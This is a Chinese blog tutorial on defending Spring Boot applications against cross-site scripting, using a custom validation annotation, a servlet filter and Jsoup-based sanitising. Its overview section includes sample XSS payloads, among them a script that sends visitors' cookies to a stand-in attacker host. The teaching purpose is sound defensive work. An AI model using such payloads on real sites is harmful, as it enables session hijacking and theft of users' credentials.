⭐⭐⭐ Spring Boot 项目实战 ⭐⭐⭐ Spring Cloud 项目实战
《Dubbo 实现原理与源码解析 —— 精品合集》 《Netty 实现原理与源码解析 —— 精品合集》
《Spring 实现原理与源码解析 —— 精品合集》 《MyBatis 实现原理与源码解析 —— 精品合集》
《Spring MVC 实现原理与源码解析 —— 精品合集》 《数据库实体设计合集》
《Spring Boot 实现原理与源码解析 —— 精品合集》 《Java 面试题 + Java 学习指南》

摘要: 原创出处 blog.csdn.net/weixin_73588491/article/details/140216853 「詩筠」欢迎转载,保留摘要,谢谢!


🙂🙂🙂关注微信公众号:【芋道源码】有福利:

  1. RocketMQ / MyCAT / Sharding-JDBC 所有源码分析文章列表
  2. RocketMQ / MyCAT / Sharding-JDBC 中文注释源码 GitHub 地址
  3. 您对于源码的疑问每条留言都将得到认真回复。甚至不知道如何读源码也可以请教噢。
  4. 新的源码解析文章实时收到通知。每周更新一篇左右。
  5. 认真的源码交流微信群。

引言

随着Web应用的普及,网络安全问题也日益凸显。跨站脚本攻击(Cross-Site Scripting,简称XSS)是一种常见的Web安全漏洞,它允许攻击者将恶意脚本注入到其他用户浏览和使用的正常网页中。当其他用户浏览这些网页时,恶意脚本就会在他们的浏览器上执行,从而可能导致信息泄露、会话劫持等严重后果。XSS攻击的普遍性和潜在危害性使其成为Web应用安全中不可忽视的一部分。

本文旨在探讨如何在Spring Boot应用程序中有效地防御XSS攻击。我们将介绍两种主要的防御手段:注解和过滤器。通过这两种方式,开发者可以轻松地在Spring Boot应用中实现XSS攻击的防御,从而保障用户的数据安全和应用的稳定运行。

一、XSS攻击概述

XSS攻击,全称为跨站脚本攻击(Cross-Site Scripting),是一种常见的网络攻击手段。它主要利用了Web应用程序对用户输入验证的不足,允许攻击者将恶意脚本注入到其他用户浏览的网页中。

1.1 XSS攻击的定义

XSS攻击是指攻击者在Web页面的输入数据中插入恶意脚本,当其他用户浏览该页面时,这些脚本就会在用户的浏览器上执行。由于脚本是在受害用户的上下文中执行的,因此它可以访问该用户的所有会话信息和权限,从而可能导致信息泄露、会话劫持、恶意操作等安全风险。

1.2 XSS攻击的类型

XSS攻击主要分为以下三种类型:

  • 存储型XSS(Persistent XSS): 恶意脚本被永久存储在目标服务器上,如数据库、消息论坛、访客留言等,当用户访问相应的网页时,恶意脚本就会执行。
  • 反射型XSS(Reflected XSS): 恶意脚本并不存储在目标服务器上,而是通过诸如URL参数的方式直接在请求响应中反射并执行。这种类型的攻击通常是通过诱使用户点击链接或访问特定的URL来实施的。
  • 基于DOM的XSS(DOM-based XSS): 这种类型的XSS攻击完全发生在客户端,不需要服务器的参与。它通过恶意脚本修改页面的DOM结构,实现攻击。

1.3 XSS攻击的攻击原理及示例

XSS攻击的基本原理是利用Web应用程序对用户输入的信任,将恶意脚本注入到响应中。当其他用户访问包含恶意脚本的页面时,脚本会在他们的浏览器中执行。

示例:

  • 存储型XSS攻击:

攻击者在一个博客评论系统中提交以下评论:

<script>
document.location='http://attacker.com/steal.php?cookie='+document.cookie;
</script>

当其他用户查看这条评论时,他们的cookie会被发送到攻击者的服务器。

  • 反射型XSS攻击:

攻击者构造一个恶意URL:

http://example.com/search?q=<script>alert('XSS')</script>

如果服务器直接将搜索词嵌入到响应中而不进行过滤,用户点击此链接后会看到一个警告框。

  • DOM型XSS攻击:

假设网页中有以下JavaScript代码:

var name = document.location.hash.substr(1);
document.write("欢迎, " + name);

攻击者可以构造如下URL:

http://example.com/page.html#<script>alert('XSS')</script>

当用户访问此URL时,恶意脚本会被执行。

二、Spring Boot中的XSS防御手段

在Spring Boot中,我们可以采用多种方式来防御XSS攻击。下面将详细介绍两种常用的防御手段:使用注解和使用过滤器。

2.1 使用注解进行XSS防御

注解是一种轻量级的防御手段,它可以在方法或字段级别对输入进行校验,从而防止XSS攻击。

2.1.1 引入相关依赖

<!--JSR-303/JSR-380用于验证的注解 -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-validation</artifactId>
<version>3.2.0</version>
</dependency>

2.1.2 使用@XSS注解进行参数校验

我们可以自定义一个@XSS注解,用于标记那些需要校验的参数。这里是一个简单的@XSS注解定义:

@Target(value = { ElementType.METHOD, ElementType.FIELD, ElementType.CONSTRUCTOR, ElementType.PARAMETER })
@Retention(RetentionPolicy.RUNTIME)
@Constraint(validatedBy = XssValidator.class)
public @interface Xss {
String message() default "非法输入, 检测到潜在的XSS";
Class<?>[] groups() default {};
Class<? extends Payload>[] payload() default {};
}

2.1.3 实现自定义注解处理器

接下来,我们需要实现XSSValidator类,该类将负责检查输入是否包含潜在的XSS攻击脚本:

public class XssValidator implements ConstraintValidator<Xss, String> {
/**
* 使用自带的 basicWithImages 白名单
*/
private static final Safelist WHITE_LIST = Safelist.relaxed();
/**
* 定义输出设置,关闭prettyPrint(prettyPrint=false),目的是避免在清理过程中对代码进行格式化
* 从而保持输入和输出内容的一致性。
*/
private static final Document.OutputSettings OUTPUT_SETTINGS = new Document.OutputSettings().prettyPrint(false);

/**
* 验证输入值是否有效,即是否包含潜在的XSS攻击脚本。
*
* @param value 输入值,需要进行XSS攻击脚本清理。
* @param context 上下文对象,提供关于验证环境的信息,如验证失败时的错误消息定制。
* @return 如果清理后的值与原始值相同,则返回true,表示输入值有效;否则返回false,表示输入值无效。
*/
@Override
public boolean isValid(String value, ConstraintValidatorContext context) {
// 使用Jsoup库对输入值进行清理,以移除潜在的XSS攻击脚本。
// 使用预定义的白名单和输出设置来确保只保留安全的HTML元素和属性。
String cleanedValue = Jsoup.clean(value, "", WHITE_LIST, OUTPUT_SETTINGS);

// 比较清理后的值与原始值是否相同,用于判断输入值是否有效。
return cleanedValue.equals(value);
}

}

2.1.4 使用注解

在要进行XSS防御的属性上添加注解:

@Data
@Tag(name = "用户",description = "用户登录类")
public class UserLoginDTO {

@Xss
@NotBlank(message = "账号不能为空")
@Schema(name = "用户账号",type = "String")
private String userAccount;

@Xss
@Size(min = 6, max = 18, message = "用户密码长度需在6-18位")
@Schema(name = "用户密码",type = "String")
private String password;

@Xss
@NotBlank(message = "邮箱验证码内容不能为空")
@Schema(name = "邮箱验证码",type = "String")
private String emailCaptcha;
}

在Controller中的接口添加@Validated注解:

@PostMapping("/test2")
public Result<String> login(@RequestBody @Validated UserLoginDTO userLoginDTO) {
return Result.success();
}

2.2 使用过滤器进行XSS防御

2.2.1 引入相关依赖

<!-- Jsoup依赖 -->
<dependency>
<groupId>org.jsoup</groupId>
<artifactId>jsoup</artifactId>
<version>1.17.2</version>
</dependency>

2.2.2 编写配置类

/**
* 跨站脚本(XSS)过滤配置类。
*/
@Data
@Component
@ConfigurationProperties(prefix = "xss")
public class FilterConfig {
/**
* 是否启用XSS过滤。
*/
private String enabled;

/**
* 需要排除的URL模式,这些URL不会进行XSS过滤。
*/
private String excludes;

/**
* 需要应用XSS过滤的URL模式。
*/
private String urlPatterns;

/**
* 注册XSS过滤器。
*
* @return FilterRegistrationBean 用于注册过滤器的bean。
*/
@Bean
public FilterRegistrationBean xssFilterRegistration() {
FilterRegistrationBean registrationBean = new FilterRegistrationBean();
// 设置过滤器的分发类型为请求类型
registrationBean.setDispatcherTypes(DispatcherType.REQUEST);
// 创建XssFilter的实例
registrationBean.setFilter(new XssFilter());
// 添加过滤器需要拦截的URL模式,这些模式从配置文件中的"urlPatterns"属性读取
registrationBean.addUrlPatterns(StringUtils.split(urlPatterns, ","));
// 设置过滤器的名称
registrationBean.setName("XssFilter");
// 设置过滤器的执行顺序,数值越小,优先级越高
registrationBean.setOrder(9999);
// 创建一个Map,用于存储过滤器的初始化参数
Map<String, String> initParameters = new HashMap<>();
// 将配置文件中的"excludes"属性设置到过滤器的初始化参数中
initParameters.put("excludes", excludes);
// 将配置文件中的"enabled"属性设置到过滤器的初始化参数中
initParameters.put("enabled", enabled);
// 将初始化参数设置到FilterRegistrationBean中
registrationBean.setInitParameters(initParameters);
// 返回FilterRegistrationBean,包含了XssFilter的配置信息
return registrationBean;
}
}

2.2.3 修改配置文件

xss:
enabled: true
excludes:
url-patterns: /*

2.2.4 创建XSSFilter类

import jakarta.servlet.*;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils;

import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

@Slf4j
public class XssFilter implements Filter {
/**
* 存储需要排除XSS过滤的URL模式列表。
*/
private List<String> excludes = new ArrayList<>();

/**
* 是否启用XSS过滤的标志。
*/
private boolean enabled = false;

/**
* 初始化过滤器,从过滤器配置中读取排除列表和启用状态。
*
* @param filterConfig 过滤器配置对象。
* @throws ServletException 如果初始化过程中出现错误。
*/
@Override
public void init(FilterConfig filterConfig) throws ServletException {
String strExcludes = filterConfig.getInitParameter("excludes");
String strEnabled = filterConfig.getInitParameter("enabled");
//将不需要xss过滤的接口添加到列表中
if (StringUtils.isNotEmpty(strExcludes)) {
String[] urls = strExcludes.split(",");
for (String url : urls) {
excludes.add(url);
}
}
if (StringUtils.isNotEmpty(strEnabled)) {
enabled = Boolean.valueOf(strEnabled);
}
}

/**
* 执行过滤逻辑,如果当前请求不在排除列表中,则通过XSS过滤器包装请求。
*
* @param request HTTP请求对象。
* @param response HTTP响应对象。
* @param chain 过滤器链对象,用于继续或中断请求处理。
* @throws IOException 如果处理过程中出现I/O错误。
* @throws ServletException 如果处理过程中出现Servlet相关错误。
*/
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
//如果该访问接口在排除列表里面则不拦截
if (isExcludeUrl(req.getServletPath())) {
chain.doFilter(request, response);
return;
}

log.info("uri:{}", req.getRequestURI());
// xss 过滤
chain.doFilter(new XssWrapper(req), resp);
}

/**
* 销毁过滤器,释放资源。
*/
@Override
public void destroy() {
// 无需额外的销毁逻辑
}

/**
* 判断当前请求的URL是否应该被排除在XSS过滤之外。
*
* @param urlPath 请求的URL路径。
* @return 如果请求应该被排除,则返回true;否则返回false。
*/
private boolean isExcludeUrl(String urlPath) {
if (!enabled) {
//如果xss开关关闭了,则所有url都不拦截
return true;
}
if (excludes == null || excludes.isEmpty()) {
return false;
}

String url = urlPath;
for (String pattern : excludes) {
Pattern p = Pattern.compile("^" + pattern);
Matcher m = p.matcher(url);
if (m.find()) {
return true;
}
}
return false;
}
}

2.2.5 编写过滤工具类

/**
* XSS过滤工具类,使用Jsoup库对输入的字符串进行XSS攻击防护
*/
public class XssUtil {

/**
* 使用自带的 basicWithImages 白名单
*/
private static final Safelist WHITE_LIST = Safelist.relaxed();
/**
* 定义输出设置,关闭prettyPrint(prettyPrint=false),目的是避免在清理过程中对代码进行格式化
* 从而保持输入和输出内容的一致性。
*/
private static final Document.OutputSettings OUTPUT_SETTINGS = new Document.OutputSettings().prettyPrint(false);

/*
初始化白名单策略,允许所有标签拥有style属性。
这是因为在富文本编辑中,样式通常通过style属性来定义,需要确保这些样式能够被保留。
*/
static {
// 富文本编辑时一些样式是使用 style 来进行实现的
// 比如红色字体 style="color:red;"
// 所以需要给所有标签添加 style 属性
WHITE_LIST.addAttributes(":all", "style");
}

/**
* 清理输入的字符串,移除潜在的XSS攻击代码。
*
* @param content 待清理的字符串,通常是用户输入的HTML内容。
* @return 清理后的字符串,保证不包含XSS攻击代码。
*/
public static String clean(String content) {
// 使用定义好的白名单策略和输出设置清理输入的字符串
return Jsoup.clean(content, "", WHITE_LIST, OUTPUT_SETTINGS);
}
}

2.2.6 编写XSSRequestWrapper类清理脚本

在XSSFilter类中,我们创建了一个新的XSSRequestWrapper类,该类继承自HttpServletRequestWrapper。在这个包装类中,我们将重写getParameter等方法,以清理请求参数中的潜在XSS脚本。

@Slf4j
public class XssWrapper extends HttpServletRequestWrapper {
/**
* Constructs a request object wrapping the given request.
*
* @param request The request to wrap
* @throws IllegalArgumentException if the request is null
*/
public XssWrapper(HttpServletRequest request) {
super(request);
log.info("XssWrapper");
}

/**
* 对数组参数进行特殊字符过滤
*/
@Override
public String[] getParameterValues(String name) {
String[] values = super.getParameterValues(name);
if (values == null) {
return null;
}
int count = values.length;
String[] encodedValues = new String[count];
for (int i = 0; i < count; i++) {
encodedValues[i] = cleanXSS(values[i]);
}
return encodedValues;
}

/**
* 对参数中特殊字符进行过滤
*/
@Override
public String getParameter(String name) {
String value = super.getParameter(name);
if (StrUtil.isBlank(value)) {
return value;
}
return cleanXSS(value);
}

/**
* 获取attribute,特殊字符过滤
*/
@Override
public Object getAttribute(String name) {
Object value = super.getAttribute(name);
if (value instanceof String && StrUtil.isNotBlank((String) value)) {
return cleanXSS((String) value);
}
return value;
}

/**
* 对请求头部进行特殊字符过滤
*/
@Override
public String getHeader(String name) {
String value = super.getHeader(name);
if (StrUtil.isBlank(value)) {
return value;
}
return cleanXSS(value);
}

/**
* 清理输入的字符串以防止XSS攻击
*
* @param value 待清理的字符串,通常为用户输入或来自不可信源的数据。
* @return 清理后的字符串,移除了可能的XSS攻击代码。
*/
private String cleanXSS(String value) {
return XssUtil.clean(value);
}
}

2.2.7 自定义json消息解析器

在使用springboot中,类似于普通的参数parameter,attribute,header一类的,可以直接使用过滤器来过滤。而前端发送回来的json字符串就没那么方便过滤了。可以考虑用自定义json消息解析器来过滤前端传递的json。

/**
* 在读取和写入JSON数据时特殊字符避免xss攻击的消息解析器
*
*/
public class XSSMappingJackson2HttpMessageConverter extends MappingJackson2HttpMessageConverter {

/**
* 从HTTP输入消息中读取对象,同时应用XSS防护。
*
* @param type 类型令牌,表示要读取的对象类型。
* @param contextClass 上下文类,提供类型解析的上下文信息。
* @param inputMessage HTTP输入消息,包含要读取的JSON数据。
* @return 从输入消息中解析出的对象,经过XSS防护处理。
* @throws IOException 如果发生I/O错误。
* @throws HttpMessageNotReadableException 如果消息无法读取。
*/
@Override
public Object read(Type type, Class contextClass,
HttpInputMessage inputMessage) throws IOException,
HttpMessageNotReadableException {
JavaType javaType = getJavaType(type, contextClass);
Object obj = readJavaType(javaType, inputMessage);
//得到请求json
String json = super.getObjectMapper().writeValueAsString(obj);
//过滤特殊字符
String result = XssUtil.clean(json);
Object resultObj = super.getObjectMapper().readValue(result, javaType);
return resultObj;
}

/**
* 从HTTP输入消息中读取指定Java类型的对象,内部使用。
*
* @param javaType 要读取的对象的Java类型。
* @param inputMessage HTTP输入消息,包含要读取的JSON数据。
* @return 从输入消息中解析出的对象。
* @throws IOException 如果发生I/O错误。
* @throws HttpMessageNotReadableException 如果消息无法读取。
*/
private Object readJavaType(JavaType javaType, HttpInputMessage inputMessage) {
try {
return super.getObjectMapper().readValue(inputMessage.getBody(), javaType);
} catch (IOException ex) {
throw new HttpMessageNotReadableException("Could not read JSON: " + ex.getMessage(), ex);
}
}

/**
* 将对象写入HTTP输出消息,同时应用XSS防护。
*
* @param object 要写入的对象。
* @param outputMessage HTTP输出消息,对象将被序列化为JSON并写入此消息。
* @throws IOException 如果发生I/O错误。
* @throws HttpMessageNotWritableException 如果消息无法写入。
*/
@Override
protected void writeInternal(Object object, HttpOutputMessage outputMessage)
throws IOException, HttpMessageNotWritableException {
//得到要输出的json
String json = super.getObjectMapper().writeValueAsString(object);
//过滤特殊字符
String result = XssUtil.clean(json);
// 输出
outputMessage.getBody().write(result.getBytes());
}
}

然后在启动类添加:

@Bean
public HttpMessageConverters xssHttpMessageConverters() {
XSSMappingJackson2HttpMessageConverter xssMappingJackson2HttpMessageConverter = new XSSMappingJackson2HttpMessageConverter();
HttpMessageConverter converter = xssMappingJackson2HttpMessageConverter;
return new HttpMessageConverters(converter);
}

三、测试

3.1 XSS注解:

如果不符合规则的字符(例如<script>alert('XSS');</script>)会提示非法输入,检测到潜在的XSS,可以看到下面的返回参数中的message已经变为默认警告。

3.2 XSS过滤器

XSS过滤器实现的效果是过滤,将前端传递参数进行清理,达到XSS防御的目的。

观察下面的测试结果可以知道过滤器成功实现参数清理。

四、总结

本文深入探讨了在Spring Boot应用程序中如何有效地防御XSS攻击。我们介绍了两种主要的防御手段:使用注解和使用过滤器。

通过这两种方式,开发者可以轻松地在Spring Boot应用中实现XSS攻击的防御,从而保障用户的数据安全和应用的稳定运行,希望对大家有所帮助。

文章目录
  1. 1. 引言
  2. 2. 一、XSS攻击概述
    1. 2.1. 1.1 XSS攻击的定义
    2. 2.2. 1.2 XSS攻击的类型
    3. 2.3. 1.3 XSS攻击的攻击原理及示例
  3. 3. 二、Spring Boot中的XSS防御手段
    1. 3.1. 2.1 使用注解进行XSS防御
    2. 3.2. 2.2 使用过滤器进行XSS防御
  4. 4. 三、测试
    1. 4.1. 3.1 XSS注解:
    2. 4.2. 3.2 XSS过滤器
  5. 5. 四、总结